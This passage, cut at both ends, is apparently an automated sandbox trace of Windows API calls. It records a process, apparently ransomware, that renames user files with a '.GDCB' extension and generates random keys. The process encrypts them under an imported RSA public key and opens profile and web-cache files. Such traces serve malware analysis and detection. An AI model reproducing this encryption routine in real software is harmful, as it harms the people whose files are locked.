data\\microsoft\\windows\\pricache\\windows.purchasedialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\1079934665\\2034961148.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0283.402] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcf20000 [0283.405] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcf30000 [0283.408] ReadFile (in: hFile=0x50c, lpBuffer=0xcf30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0xcf30000*, lpNumberOfBytesRead=0x285d8f8*=0x730, lpOverlapped=0x0) returned 1 [0283.415] VirtualAlloc (lpAddress=0x0, dwSize=0x730, flAllocationType=0x3000, flProtect=0x4) returned 0xd040000 [0283.421] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Windows.PurchaseDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\1079934665\\2034961148.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\windows.purchasedialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\1079934665\\2034961148.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Windows.PurchaseDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\1079934665\\2034961148.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\windows.purchasedialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\1079934665\\2034961148.pri.gdcb")) returned 1 [0283.440] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0283.443] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.445] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.446] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0283.446] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0283.446] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0283.448] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.450] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.450] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0283.450] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.451] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0283.453] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67900a0) returned 1 [0283.453] CryptGetKeyParam (in: hKey=0x67900a0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0283.453] CryptEncrypt (in: hKey=0x67900a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf00000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xcf00000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0283.454] GetLastError () returned 0x0 [0283.454] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.454] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0283.455] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x678ff60) returned 1 [0283.456] CryptGetKeyParam (in: hKey=0x678ff60, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0283.456] CryptEncrypt (in: hKey=0x678ff60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf10000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xcf10000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0283.456] GetLastError () returned 0x0 [0283.456] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.456] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.479] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0283.483] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.485] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.486] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0283.486] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.486] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0283.489] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.492] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.492] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0283.492] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.492] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0283.494] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x659f9b8) returned 1 [0283.494] CryptGetKeyParam (in: hKey=0x659f9b8, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0283.494] CryptEncrypt (in: hKey=0x659f9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf20000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xcf20000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0283.495] GetLastError () returned 0x0 [0283.495] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.495] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0283.497] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x659feb8) returned 1 [0283.497] CryptGetKeyParam (in: hKey=0x659feb8, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0283.497] CryptEncrypt (in: hKey=0x659feb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf30000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xcf30000*, pdwDataLen=0x285e050*=0x100) returned 1 [0283.497] GetLastError () returned 0x0 [0283.497] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.497] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.502] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0283.505] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.508] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.508] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0283.508] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.508] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0283.510] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.512] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.512] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0283.512] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.513] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0283.515] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x6783108) returned 1 [0283.515] CryptGetKeyParam (in: hKey=0x6783108, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0283.515] CryptEncrypt (in: hKey=0x6783108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf40000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xcf40000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0283.515] GetLastError () returned 0x0 [0283.516] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.516] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0283.518] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x5a4c98) returned 1 [0283.518] CryptGetKeyParam (in: hKey=0x5a4c98, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0283.518] CryptEncrypt (in: hKey=0x5a4c98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf50000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xcf50000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0283.518] GetLastError () returned 0x0 [0283.518] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.518] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.521] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0283.524] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.527] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.527] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0283.527] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.527] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0283.529] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.532] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.532] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0283.532] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.533] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0283.535] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x678fa20) returned 1 [0283.535] CryptGetKeyParam (in: hKey=0x678fa20, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0283.535] CryptEncrypt (in: hKey=0x678fa20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf60000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xcf60000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0283.536] GetLastError () returned 0x0 [0283.536] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.536] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0283.538] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a76b0) returned 1 [0283.538] CryptGetKeyParam (in: hKey=0x67a76b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0283.538] CryptEncrypt (in: hKey=0x67a76b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf70000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xcf70000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0283.538] GetLastError () returned 0x0 [0283.538] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.538] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01tmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01tmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.540] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0283.544] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.546] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.546] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0283.546] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0283.546] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0283.549] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.551] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.551] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0283.551] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.552] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0283.554] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a7770) returned 1 [0283.554] CryptGetKeyParam (in: hKey=0x67a7770, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0283.554] CryptEncrypt (in: hKey=0x67a7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf80000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xcf80000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0283.554] GetLastError () returned 0x0 [0283.554] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.554] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0283.556] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a76f0) returned 1 [0283.556] CryptGetKeyParam (in: hKey=0x67a76f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0283.556] CryptEncrypt (in: hKey=0x67a76f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf90000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xcf90000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0283.556] GetLastError () returned 0x0 [0283.556] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.556] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\webcachev01.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.714] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0283.717] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.719] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.720] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0283.720] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.720] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0283.723] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.725] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.725] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0283.725] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.726] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0283.729] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a7730) returned 1 [0283.729] CryptGetKeyParam (in: hKey=0x67a7730, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0283.729] CryptEncrypt (in: hKey=0x67a7730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcfa0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xcfa0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0283.729] GetLastError () returned 0x0 [0283.729] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.729] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0283.731] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a77f0) returned 1 [0283.731] CryptGetKeyParam (in: hKey=0x67a77f0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0283.731] CryptEncrypt (in: hKey=0x67a77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcfb0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xcfb0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0283.731] GetLastError () returned 0x0 [0283.731] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.731] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\microsoft.3dbuilder_10.0.0.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.815] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0283.819] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.821] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.821] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0283.821] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.821] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0283.823] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.825] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.825] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0283.825] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0283.826] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0283.828] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a7870) returned 1 [0283.828] CryptGetKeyParam (in: hKey=0x67a7870, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0283.828] CryptEncrypt (in: hKey=0x67a7870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcfc0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xcfc0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0283.828] GetLastError () returned 0x0 [0283.828] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.828] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0283.831] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a7270) returned 1 [0283.831] CryptGetKeyParam (in: hKey=0x67a7270, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0283.831] CryptEncrypt (in: hKey=0x67a7270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcfd0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xcfd0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0283.831] GetLastError () returned 0x0 [0283.831] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.831] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application 